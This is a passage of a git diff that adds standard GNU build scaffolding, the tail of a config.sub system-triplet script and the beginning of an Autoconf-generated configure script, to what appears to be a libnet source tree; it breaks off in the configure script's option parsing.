+ vpp*|vx|vx-*)
+ basic_machine=f301-fujitsu
+ ;;
+ vxworks960)
+ basic_machine=i960-wrs
+ os=-vxworks
+ ;;
+ vxworks68)
+ basic_machine=m68k-wrs
+ os=-vxworks
+ ;;
+ vxworks29k)
+ basic_machine=a29k-wrs
+ os=-vxworks
+ ;;
+ w65*)
+ basic_machine=w65-wdc
+ os=-none
+ ;;
+ w89k-*)
+ basic_machine=hppa1.1-winbond
+ os=-proelf
+ ;;
+ windows32)
+ basic_machine=i386-pc
+ os=-windows32-msvcrt
+ ;;
+ xmp)
+ basic_machine=xmp-cray
+ os=-unicos
+ ;;
+ xps | xps100)
+ basic_machine=xps100-honeywell
+ ;;
+ z8k-*-coff)
+ basic_machine=z8k-unknown
+ os=-sim
+ ;;
+ none)
+ basic_machine=none-none
+ os=-none
+ ;;
+
+# Here we handle the default manufacturer of certain CPU types. It is in
+# some cases the only manufacturer, in others, it is the most popular.
+ w89k)
+ basic_machine=hppa1.1-winbond
+ ;;
+ op50n)
+ basic_machine=hppa1.1-oki
+ ;;
+ op60c)
+ basic_machine=hppa1.1-oki
+ ;;
+ mips)
+ if [ x$os = x-linux-gnu ]; then
+ basic_machine=mips-unknown
+ else
+ basic_machine=mips-mips
+ fi
+ ;;
+ romp)
+ basic_machine=romp-ibm
+ ;;
+ rs6000)
+ basic_machine=rs6000-ibm
+ ;;
+ vax)
+ basic_machine=vax-dec
+ ;;
+ pdp10)
+ # there are many clones, so DEC is not a safe bet
+ basic_machine=pdp10-unknown
+ ;;
+ pdp11)
+ basic_machine=pdp11-dec
+ ;;
+ we32k)
+ basic_machine=we32k-att
+ ;;
+ sh3 | sh4 | sh3eb | sh4eb)
+ basic_machine=sh-unknown
+ ;;
+ sparc | sparcv9 | sparcv9b)
+ basic_machine=sparc-sun
+ ;;
+ cydra)
+ basic_machine=cydra-cydrome
+ ;;
+ orion)
+ basic_machine=orion-highlevel
+ ;;
+ orion105)
+ basic_machine=clipper-highlevel
+ ;;
+ mac | mpw | mac-mpw)
+ basic_machine=m68k-apple
+ ;;
+ pmac | pmac-mpw)
+ basic_machine=powerpc-apple
+ ;;
+ c4x*)
+ basic_machine=c4x-none
+ os=-coff
+ ;;
+ *-unknown)
+ # Make sure to match an already-canonicalized machine name.
+ ;;
+ *)
+ echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2
+ exit 1
+ ;;
+esac
+
+# Here we canonicalize certain aliases for manufacturers.
+case $basic_machine in
+ *-digital*)
+ basic_machine=`echo $basic_machine | sed 's/digital.*/dec/'`
+ ;;
+ *-commodore*)
+ basic_machine=`echo $basic_machine | sed 's/commodore.*/cbm/'`
+ ;;
+ *)
+ ;;
+esac
+
+# Decode manufacturer-specific aliases for certain operating systems.
+
+if [ x"$os" != x"" ]
+then
+case $os in
+ # First match some system type aliases
+ # that might get confused with valid system types.
+ # -solaris* is a basic system type, with this one exception.
+ -solaris1 | -solaris1.*)
+ os=`echo $os | sed -e 's|solaris1|sunos4|'`
+ ;;
+ -solaris)
+ os=-solaris2
+ ;;
+ -svr4*)
+ os=-sysv4
+ ;;
+ -unixware*)
+ os=-sysv4.2uw
+ ;;
+ -gnu/linux*)
+ os=`echo $os | sed -e 's|gnu/linux|linux-gnu|'`
+ ;;
+ # First accept the basic system types.
+ # The portable systems comes first.
+ # Each alternative MUST END IN A *, to match a version number.
+ # -sysv* is not here because it comes later, after sysvr4.
+ -gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \
+ | -*vms* | -sco* | -esix* | -isc* | -aix* | -sunos | -sunos[34]*\
+ | -hpux* | -unos* | -osf* | -luna* | -dgux* | -solaris* | -sym* \
+ | -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -aof* \
+ | -aos* \
+ | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \
+ | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \
+ | -hiux* | -386bsd* | -netbsd* | -openbsd* | -freebsd* | -riscix* \
+ | -lynxos* | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \
+ | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \
+ | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \
+ | -chorusos* | -chorusrdb* \
+ | -cygwin* | -pe* | -psos* | -moss* | -proelf* | -rtems* \
+ | -mingw32* | -linux-gnu* | -uxpv* | -beos* | -mpeix* | -udk* \
+ | -interix* | -uwin* | -rhapsody* | -darwin* | -opened* \
+ | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \
+ | -storm-chaos* | -tops10* | -tenex* | -tops20* | -its* \
+ | -os2* | -vos*)
+ # Remember, each alternative MUST END IN *, to match a version number.
+ ;;
+ -qnx*)
+ case $basic_machine in
+ x86-* | i*86-*)
+ ;;
+ *)
+ os=-nto$os
+ ;;
+ esac
+ ;;
+ -nto*)
+ os=-nto-qnx
+ ;;
+ -sim | -es1800* | -hms* | -xray | -os68k* | -none* | -v88r* \
+ | -windows* | -osx | -abug | -netware* | -os9* | -beos* \
+ | -macos* | -mpw* | -magic* | -mmixware* | -mon960* | -lnews*)
+ ;;
+ -mac*)
+ os=`echo $os | sed -e 's|mac|macos|'`
+ ;;
+ -linux*)
+ os=`echo $os | sed -e 's|linux|linux-gnu|'`
+ ;;
+ -sunos5*)
+ os=`echo $os | sed -e 's|sunos5|solaris2|'`
+ ;;
+ -sunos6*)
+ os=`echo $os | sed -e 's|sunos6|solaris3|'`
+ ;;
+ -opened*)
+ os=-openedition
+ ;;
+ -wince*)
+ os=-wince
+ ;;
+ -osfrose*)
+ os=-osfrose
+ ;;
+ -osf*)
+ os=-osf
+ ;;
+ -utek*)
+ os=-bsd
+ ;;
+ -dynix*)
+ os=-bsd
+ ;;
+ -acis*)
+ os=-aos
+ ;;
+ -386bsd)
+ os=-bsd
+ ;;
+ -ctix* | -uts*)
+ os=-sysv
+ ;;
+ -ns2 )
+ os=-nextstep2
+ ;;
+ -nsk*)
+ os=-nsk
+ ;;
+ # Preserve the version number of sinix5.
+ -sinix5.*)
+ os=`echo $os | sed -e 's|sinix|sysv|'`
+ ;;
+ -sinix*)
+ os=-sysv4
+ ;;
+ -triton*)
+ os=-sysv3
+ ;;
+ -oss*)
+ os=-sysv3
+ ;;
+ -svr4)
+ os=-sysv4
+ ;;
+ -svr3)
+ os=-sysv3
+ ;;
+ -sysvr4)
+ os=-sysv4
+ ;;
+ # This must come after -sysvr4.
+ -sysv*)
+ ;;
+ -ose*)
+ os=-ose
+ ;;
+ -es1800*)
+ os=-ose
+ ;;
+ -xenix)
+ os=-xenix
+ ;;
+ -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*)
+ os=-mint
+ ;;
+ -none)
+ ;;
+ *)
+ # Get rid of the `-' at the beginning of $os.
+ os=`echo $os | sed 's/[^-]*-//'`
+ echo Invalid configuration \`$1\': system \`$os\' not recognized 1>&2
+ exit 1
+ ;;
+esac
+else
+
+# Here we handle the default operating systems that come with various machines.
+# The value should be what the vendor currently ships out the door with their
+# machine or put another way, the most popular os provided with the machine.
+
+# Note that if you're going to try to match "-MANUFACTURER" here (say,
+# "-sun"), then you have to tell the case statement up towards the top
+# that MANUFACTURER isn't an operating system. Otherwise, code above
+# will signal an error saying that MANUFACTURER isn't an operating
+# system, and we'll never get to this point.
+
+case $basic_machine in
+ *-acorn)
+ os=-riscix1.2
+ ;;
+ arm*-rebel)
+ os=-linux
+ ;;
+ arm*-semi)
+ os=-aout
+ ;;
+ pdp10-*)
+ os=-tops20
+ ;;
+ pdp11-*)
+ os=-none
+ ;;
+ *-dec | vax-*)
+ os=-ultrix4.2
+ ;;
+ m68*-apollo)
+ os=-domain
+ ;;
+ i386-sun)
+ os=-sunos4.0.2
+ ;;
+ m68000-sun)
+ os=-sunos3
+ # This also exists in the configure program, but was not the
+ # default.
+ # os=-sunos4
+ ;;
+ m68*-cisco)
+ os=-aout
+ ;;
+ mips*-cisco)
+ os=-elf
+ ;;
+ mips*-*)
+ os=-elf
+ ;;
+ *-tti) # must be before sparc entry or we get the wrong os.
+ os=-sysv3
+ ;;
+ sparc-* | *-sun)
+ os=-sunos4.1.1
+ ;;
+ *-be)
+ os=-beos
+ ;;
+ *-ibm)
+ os=-aix
+ ;;
+ *-wec)
+ os=-proelf
+ ;;
+ *-winbond)
+ os=-proelf
+ ;;
+ *-oki)
+ os=-proelf
+ ;;
+ *-hp)
+ os=-hpux
+ ;;
+ *-hitachi)
+ os=-hiux
+ ;;
+ i860-* | *-att | *-ncr | *-altos | *-motorola | *-convergent)
+ os=-sysv
+ ;;
+ *-cbm)
+ os=-amigaos
+ ;;
+ *-dg)
+ os=-dgux
+ ;;
+ *-dolphin)
+ os=-sysv3
+ ;;
+ m68k-ccur)
+ os=-rtu
+ ;;
+ m88k-omron*)
+ os=-luna
+ ;;
+ *-next )
+ os=-nextstep
+ ;;
+ *-sequent)
+ os=-ptx
+ ;;
+ *-crds)
+ os=-unos
+ ;;
+ *-ns)
+ os=-genix
+ ;;
+ i370-*)
+ os=-mvs
+ ;;
+ *-next)
+ os=-nextstep3
+ ;;
+ *-gould)
+ os=-sysv
+ ;;
+ *-highlevel)
+ os=-bsd
+ ;;
+ *-encore)
+ os=-bsd
+ ;;
+ *-sgi)
+ os=-irix
+ ;;
+ *-siemens)
+ os=-sysv4
+ ;;
+ *-masscomp)
+ os=-rtu
+ ;;
+ f30[01]-fujitsu | f700-fujitsu)
+ os=-uxpv
+ ;;
+ *-rom68k)
+ os=-coff
+ ;;
+ *-*bug)
+ os=-coff
+ ;;
+ *-apple)
+ os=-macos
+ ;;
+ *-atari*)
+ os=-mint
+ ;;
+ *)
+ os=-none
+ ;;
+esac
+fi
+
+# Here we handle the case where we know the os, and the CPU type, but not the
+# manufacturer. We pick the logical manufacturer.
+vendor=unknown
+case $basic_machine in
+ *-unknown)
+ case $os in
+ -riscix*)
+ vendor=acorn
+ ;;
+ -sunos*)
+ vendor=sun
+ ;;
+ -aix*)
+ vendor=ibm
+ ;;
+ -beos*)
+ vendor=be
+ ;;
+ -hpux*)
+ vendor=hp
+ ;;
+ -mpeix*)
+ vendor=hp
+ ;;
+ -hiux*)
+ vendor=hitachi
+ ;;
+ -unos*)
+ vendor=crds
+ ;;
+ -dgux*)
+ vendor=dg
+ ;;
+ -luna*)
+ vendor=omron
+ ;;
+ -genix*)
+ vendor=ns
+ ;;
+ -mvs* | -opened*)
+ vendor=ibm
+ ;;
+ -ptx*)
+ vendor=sequent
+ ;;
+ -vxsim* | -vxworks*)
+ vendor=wrs
+ ;;
+ -aux*)
+ vendor=apple
+ ;;
+ -hms*)
+ vendor=hitachi
+ ;;
+ -mpw* | -macos*)
+ vendor=apple
+ ;;
+ -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*)
+ vendor=atari
+ ;;
+ -vos*)
+ vendor=stratus
+ ;;
+ esac
+ basic_machine=`echo $basic_machine | sed "s/unknown/$vendor/"`
+ ;;
+esac
+
+echo $basic_machine$os
+exit 0
+
+# Local variables:
+# eval: (add-hook 'write-file-hooks 'time-stamp)
+# time-stamp-start: "timestamp='"
+# time-stamp-format: "%:y-%02m-%02d"
+# time-stamp-end: "'"
+# End:
diff --git a/libnet/configure b/libnet/configure
new file mode 100755
index 0000000..943ae68
--- /dev/null
+++ b/libnet/configure
@@ -0,0 +1,6225 @@
+#! /bin/sh
+# Guess values for system-dependent variables and create Makefiles.
+# Generated by GNU Autoconf 2.57.
+#
+# Copyright 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001, 2002
+# Free Software Foundation, Inc.
+# This configure script is free software; the Free Software Foundation
+# gives unlimited permission to copy, distribute and modify it.
+## --------------------- ##
+## M4sh Initialization. ##
+## --------------------- ##
+
+# Be Bourne compatible
+if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then
+ emulate sh
+ NULLCMD=:
+ # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which
+ # is contrary to our usage. Disable this feature.
+ alias -g '${1+"$@"}'='"$@"'
+elif test -n "${BASH_VERSION+set}" && (set -o posix) >/dev/null 2>&1; then
+ set -o posix
+fi
+
+# Support unset when possible.
+if (FOO=FOO; unset FOO) >/dev/null 2>&1; then
+ as_unset=unset
+else
+ as_unset=false
+fi
+
+
+# Work around bugs in pre-3.0 UWIN ksh.
+$as_unset ENV MAIL MAILPATH
+PS1='$ '
+PS2='> '
+PS4='+ '
+
+# NLS nuisances.
+for as_var in \
+ LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \
+ LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \
+ LC_TELEPHONE LC_TIME
+do
+ if (set +x; test -n "`(eval $as_var=C; export $as_var) 2>&1`"); then
+ eval $as_var=C; export $as_var
+ else
+ $as_unset $as_var
+ fi
+done
+
+# Required to use basename.
+if expr a : '\(a\)' >/dev/null 2>&1; then
+ as_expr=expr
+else
+ as_expr=false
+fi
+
+if (basename /) >/dev/null 2>&1 && test "X`basename / 2>&1`" = "X/"; then
+ as_basename=basename
+else
+ as_basename=false
+fi
+
+
+# Name of the executable.
+as_me=`$as_basename "$0" ||
+$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \
+ X"$0" : 'X\(//\)$' \| \
+ X"$0" : 'X\(/\)$' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X/"$0" |
+ sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/; q; }
+ /^X\/\(\/\/\)$/{ s//\1/; q; }
+ /^X\/\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+
+
+# PATH needs CR, and LINENO needs CR and PATH.
+# Avoid depending upon Character Ranges.
+as_cr_letters='abcdefghijklmnopqrstuvwxyz'
+as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
+as_cr_Letters=$as_cr_letters$as_cr_LETTERS
+as_cr_digits='0123456789'
+as_cr_alnum=$as_cr_Letters$as_cr_digits
+
+# The user is always right.
+if test "${PATH_SEPARATOR+set}" != set; then
+ echo "#! /bin/sh" >conf$$.sh
+ echo "exit 0" >>conf$$.sh
+ chmod +x conf$$.sh
+ if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then
+ PATH_SEPARATOR=';'
+ else
+ PATH_SEPARATOR=:
+ fi
+ rm -f conf$$.sh
+fi
+
+
+ as_lineno_1=$LINENO
+ as_lineno_2=$LINENO
+ as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null`
+ test "x$as_lineno_1" != "x$as_lineno_2" &&
+ test "x$as_lineno_3" = "x$as_lineno_2" || {
+ # Find who we are. Look in the path if we contain no path at all
+ # relative or not.
+ case $0 in
+ *[\\/]* ) as_myself=$0 ;;
+ *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break
+done
+
+ ;;
+ esac
+ # We did not find ourselves, most probably we were run as `sh COMMAND'
+ # in which case we are not to be found in the path.
+ if test "x$as_myself" = x; then
+ as_myself=$0
+ fi
+ if test ! -f "$as_myself"; then
+ { echo "$as_me: error: cannot find myself; rerun with an absolute path" >&2
+ { (exit 1); exit 1; }; }
+ fi
+ case $CONFIG_SHELL in
+ '')
+ as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for as_base in sh bash ksh sh5; do
+ case $as_dir in
+ /*)
+ if ("$as_dir/$as_base" -c '
+ as_lineno_1=$LINENO
+ as_lineno_2=$LINENO
+ as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null`
+ test "x$as_lineno_1" != "x$as_lineno_2" &&
+ test "x$as_lineno_3" = "x$as_lineno_2" ') 2>/dev/null; then
+ $as_unset BASH_ENV || test "${BASH_ENV+set}" != set || { BASH_ENV=; export BASH_ENV; }
+ $as_unset ENV || test "${ENV+set}" != set || { ENV=; export ENV; }
+ CONFIG_SHELL=$as_dir/$as_base
+ export CONFIG_SHELL
+ exec "$CONFIG_SHELL" "$0" ${1+"$@"}
+ fi;;
+ esac
+ done
+done
+;;
+ esac
+
+ # Create $as_me.lineno as a copy of $as_myself, but with $LINENO
+ # uniformly replaced by the line number. The first 'sed' inserts a
+ # line-number line before each line; the second 'sed' does the real
+ # work. The second script uses 'N' to pair each line-number line
+ # with the numbered line, and appends trailing '-' during
+ # substitution so that $LINENO is not a special case at line end.
+ # (Raja R Harinath suggested sed '=', and Paul Eggert wrote the
+ # second 'sed' script. Blame Lee E. McMahon for sed's syntax. :-)
+ sed '=' <$as_myself |
+ sed '
+ N
+ s,$,-,
+ : loop
+ s,^\(['$as_cr_digits']*\)\(.*\)[$]LINENO\([^'$as_cr_alnum'_]\),\1\2\1\3,
+ t loop
+ s,-$,,
+ s,^['$as_cr_digits']*\n,,
+ ' >$as_me.lineno &&
+ chmod +x $as_me.lineno ||
+ { echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2
+ { (exit 1); exit 1; }; }
+
+ # Don't try to exec as it changes $[0], causing all sort of problems
+ # (the dirname of $[0] is not the place where we might find the
+ # original and so on. Autoconf is especially sensible to this).
+ . ./$as_me.lineno
+ # Exit status is that of the last command.
+ exit
+}
+
+
+case `echo "testing\c"; echo 1,2,3`,`echo -n testing; echo 1,2,3` in
+ *c*,-n*) ECHO_N= ECHO_C='
+' ECHO_T=' ' ;;
+ *c*,* ) ECHO_N=-n ECHO_C= ECHO_T= ;;
+ *) ECHO_N= ECHO_C='\c' ECHO_T= ;;
+esac
+
+if expr a : '\(a\)' >/dev/null 2>&1; then
+ as_expr=expr
+else
+ as_expr=false
+fi
+
+rm -f conf$$ conf$$.exe conf$$.file
+echo >conf$$.file
+if ln -s conf$$.file conf$$ 2>/dev/null; then
+ # We could just check for DJGPP; but this test a) works b) is more generic
+ # and c) will remain valid once DJGPP supports symlinks (DJGPP 2.04).
+ if test -f conf$$.exe; then
+ # Don't use ln at all; we don't have any links
+ as_ln_s='cp -p'
+ else
+ as_ln_s='ln -s'
+ fi
+elif ln conf$$.file conf$$ 2>/dev/null; then
+ as_ln_s=ln
+else
+ as_ln_s='cp -p'
+fi
+rm -f conf$$ conf$$.exe conf$$.file
+
+if mkdir -p . 2>/dev/null; then
+ as_mkdir_p=:
+else
+ as_mkdir_p=false
+fi
+
+as_executable_p="test -f"
+
+# Sed expression to map a string onto a valid CPP name.
+as_tr_cpp="sed y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g"
+
+# Sed expression to map a string onto a valid variable name.
+as_tr_sh="sed y%*+%pp%;s%[^_$as_cr_alnum]%_%g"
+
+
+# IFS
+# We need space, tab and new line, in precisely that order.
+as_nl='
+'
+IFS=" $as_nl"
+
+# CDPATH.
+$as_unset CDPATH
+
+
+# Name of the host.
+# hostname on some systems (SVR3.2, Linux) returns a bogus exit status,
+# so uname gets run too.
+ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q`
+
+exec 6>&1
+
+#
+# Initializations.
+#
+ac_default_prefix=/usr/local
+ac_config_libobj_dir=.
+cross_compiling=no
+subdirs=
+MFLAGS=
+MAKEFLAGS=
+SHELL=${CONFIG_SHELL-/bin/sh}
+
+# Maximum number of lines to put in a shell here document.
+# This variable seems obsolete. It should probably be removed, and
+# only ac_max_sed_lines should be used.
+: ${ac_max_here_lines=38}
+
+# Identity of this package.
+PACKAGE_NAME=
+PACKAGE_TARNAME=
+PACKAGE_VERSION=
+PACKAGE_STRING=
+PACKAGE_BUGREPORT=
+
+ac_unique_file="src/libnet_build_ip.c"
+# Factoring default headers for most tests.
+ac_includes_default="\
+#include <stdio.h>
+#if HAVE_SYS_TYPES_H
+# include <sys/types.h>
+#endif
+#if HAVE_SYS_STAT_H
+# include <sys/stat.h>
+#endif
+#if STDC_HEADERS
+# include <stdlib.h>
+# include <stddef.h>
+#else
+# if HAVE_STDLIB_H
+# include <stdlib.h>
+# endif
+#endif
+#if HAVE_STRING_H
+# if !STDC_HEADERS && HAVE_MEMORY_H
+# include <memory.h>
+# endif
+# include <string.h>
+#endif
+#if HAVE_STRINGS_H
+# include <strings.h>
+#endif
+#if HAVE_INTTYPES_H
+# include <inttypes.h>
+#else
+# if HAVE_STDINT_H
+# include <stdint.h>
+# endif
+#endif
+#if HAVE_UNISTD_H
+# include <unistd.h>
+#endif"
+
+ac_default_prefix=/usr
+ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS build build_cpu build_vendor build_os host host_cpu host_vendor host_os target target_cpu target_vendor target_os INSTALL_PROGRAM INSTALL_SCRIPT INSTALL_DATA PACKAGE VERSION ACLOCAL AUTOCONF AUTOMAKE AUTOHEADER MAKEINFO AMTAR install_sh STRIP ac_ct_STRIP INSTALL_STRIP_PROGRAM AWK SET_MAKE MAINTAINER_MODE_TRUE MAINTAINER_MODE_FALSE MAINT CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT DEPDIR am__include am__quote AMDEP_TRUE AMDEP_FALSE AMDEPBACKSLASH CCDEPMODE RANLIB ac_ct_RANLIB CPP EGREP ENDIANESS LIBNET_VERSION HAVE_PACKET_SOCKET ADDITIONAL_LIBS LIBNET_CONFIG_DEFINES LIBNET_CONFIG_LIBS LIBNET_CONFIG_CFLAGS LIBOBJS LTLIBOBJS'
+ac_subst_files=''
+
+# Initialize some variables set by options.
+ac_init_help=
+ac_init_version=false
+# The variables have the same names as the options, with
+# dashes changed to underlines.
+cache_file=/dev/null
+exec_prefix=NONE
+no_create=
+no_recursion=
+prefix=NONE
+program_prefix=NONE
+program_suffix=NONE
+program_transform_name=s,x,x,
+silent=
+site=
+srcdir=
+verbose=
+x_includes=NONE
+x_libraries=NONE
+
+# Installation directory options.
+# These are left unexpanded so users can "make install exec_prefix=/foo"
+# and all the variables that are supposed to be based on exec_prefix
+# by default will actually change.
+# Use braces instead of parens because sh, perl, etc. also accept them.
+bindir='${exec_prefix}/bin'
+sbindir='${exec_prefix}/sbin'
+libexecdir='${exec_prefix}/libexec'
+datadir='${prefix}/share'
+sysconfdir='${prefix}/etc'
+sharedstatedir='${prefix}/com'
+localstatedir='${prefix}/var'
+libdir='${exec_prefix}/lib'
+includedir='${prefix}/include'
+oldincludedir='/usr/include'
+infodir='${prefix}/info'
+mandir='${prefix}/man'
+
+ac_prev=
+for ac_option
+do
+ # If the previous option needs an argument, assign it.
+ if test -n "$ac_prev"; then
+ eval "$ac_prev=\$ac_option"
+ ac_prev=
+ continue
+ fi
+
+ ac_optarg=`expr "x$ac_option" : 'x[^=]*=\(.*\)'`
+
+ # Accept the important Cygnus configure options, so we can diagnose typos.
+
+ case $ac_option in
+
+ -bindir | --bindir | --bindi | --bind | --bin | --bi)
+ ac_prev=bindir ;;
+ -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*)
+ bindir=$ac_optarg ;;
+
+ -build | --build | --buil | --bui | --bu)
+ ac_prev=build_alias ;;
+ -build=* | --build=* | --buil=* | --bui=* | --bu=*)
+ build_alias=$ac_optarg ;;
+
+ -cache-file | --cache-file | --cache-fil | --cache-fi \
+ | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c)
+ ac_prev=cache_file ;;
+ -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \
+ | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*)
+ cache_file=$ac_optarg ;;
+
+ --config-cache | -C)
+ cache_file=config.cache ;;
+
+ -datadir | --datadir | --datadi | --datad | --data | --dat | --da)
+ ac_prev=datadir ;;
+ -datadir=* | --datadir=* | --datadi=* | --datad=* | --data=* | --dat=* \
+ | --da=*)
+ datadir=$ac_optarg ;;
+
+ -disable-* | --disable-*)
+ ac_feature=`expr "x$ac_option" : 'x-*disable-\(.*\)'`
+ # Reject names that are not valid shell variable names.
+ expr "x$ac_feature" : ".*[^-_$as_cr_alnum]" >/dev/null &&
+ { echo "$as_me: error: invalid feature name: $ac_feature" >&2
+ { (exit 1); exit 1; }; }
+ ac_feature=`echo $ac_feature | sed 's/-/_/g'`
+ eval "enable_$ac_feature=no" ;;
+
+ -enable-* | --enable-*)
+ ac_feature=`expr "x$ac_option" : 'x-*enable-\([^=]*\)'`
+ # Reject names that are not valid shell variable names.
+ expr "x$ac_feature" : ".*[^-_$as_cr_alnum]" >/dev/null &&
+ { echo "$as_me: error: invalid feature name: $ac_feature" >&2
+ { (exit 1); exit 1; }; }
+ ac_feature=`echo $ac_feature | sed 's/-/_/g'`
+ case $ac_option in
+ *=*) ac_optarg=`echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"`;;
+ *) ac_optarg=yes ;;
+ esac
+ eval "enable_$ac_feature='$ac_optarg'" ;;
+
+ -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \
+ | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \
+ | --exec | --exe | --ex)
+ ac_prev=exec_prefix ;;
+ -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \
+ | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \
+ | --exec=* | --exe=* | --ex=*)
+ exec_prefix=$ac_optarg ;;
+
+ -gas | --gas | --ga | --g)
+ # Obsolete; use --with-gas.
+ with_gas=yes ;;
+
+ -help | --help | --hel | --he | -h)
+ ac_init_help=long ;;
+ -help=r* | --help=r* | --hel=r* | --he=r* | -hr*)
+ ac_init_help=recursive ;;
+ -help=s* | --help=s* | --hel=s* | --he=s* | -hs*)
+ ac_init_help=short ;;
+
+ -host | --host | --hos | --ho)
+ ac_prev=host_alias ;;
+ -host=* | --host=* | --hos=* | --ho=*)
+ host_alias=$ac_optarg ;;
+
+ -includedir | --includedir | --includedi | --included | --include \
+ | --includ | --inclu | --incl | --inc)
+ ac_prev=includedir ;;
+ -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \
+ | --includ=* | --inclu=* | --incl=* | --inc=*)
+ includedir=$ac_optarg ;;
+
+ -infodir | --infodir | --infodi | --infod | --info | --inf)
+ ac_prev=infodir ;;
+ -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*)
+ infodir=$ac_optarg ;;
+
+ -libdir | --libdir | --libdi | --libd)
+ ac_prev=libdir ;;
+ -libdir=* | --libdir=* | --libdi=* | --libd=*)
+ libdir=$ac_optarg ;;
+
+ -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \
+ | --libexe | --libex | --libe)
+ ac_prev=libexecdir ;;
+ -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \
+ | --libexe=* | --libex=* | --libe=*)
+ libexecdir=$ac_optarg ;;
+
+ -localstatedir | --localstatedir | --localstatedi | --localstated \
+ | --localstate | --localstat | --localsta | --localst \
+ | --locals | --local | --loca | --loc | --lo)
+ ac_prev=localstatedir ;;
+ -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \
+ | --localstate=* | --localstat=* | --localsta=* | --localst=* \
+ | --locals=* | --local=* | --loca=* | --loc=* | --lo=*)
+ localstatedir=$ac_optarg ;;
+
+ -mandir | --mandir | --mandi | --mand | --man | --ma | --m)
+ ac_prev=mandir ;;
+ -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*)
+ mandir=$ac_optarg ;;
+
+ -nfp | --nfp | --nf)
+ # Obsolete; use --without-fp.
+ with_fp=no ;;
+
+ -no-create | --no-create | --no-creat | --no-crea | --no-cre \
+ | --no-cr | --no-c | -n)
+ no_create=yes ;;
+
+ -no-recursion | --no-recursion | --no-recursio | --no-recursi \
+ | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r)
+ no_recursion=yes ;;
+
+ -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \
+ | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \
+ | --oldin | --oldi | --old | --ol | --o)
+ ac_prev=oldincludedir ;;
+ -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \
+ | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \
+ | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*)
+ oldincludedir=$ac_optarg ;;
+
+ -prefix | --prefix | --prefi | --pref | --pre | --pr | --p)
+ ac_prev=prefix ;;
+ -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*)
+ prefix=$ac_optarg ;;
+
+ -program-prefix | --program-prefix | --program-prefi | --program-pref \
+ | --program-pre | --program-pr | --program-p)
+ ac_prev=program_prefix ;;
+ -program-prefix=* | --program-prefix=* | --program-prefi=* \
+ | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*)
+ program_prefix=$ac_optarg ;;
+
+ -program-suffix | --program-suffix | --program-suffi | --program-suff \
+ | --program-suf | --program-su | --program-s)
+ ac_prev=program_suffix ;;
+ -program-suffix=* | --program-suffix=* | --program-suffi=* \
+ | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*)
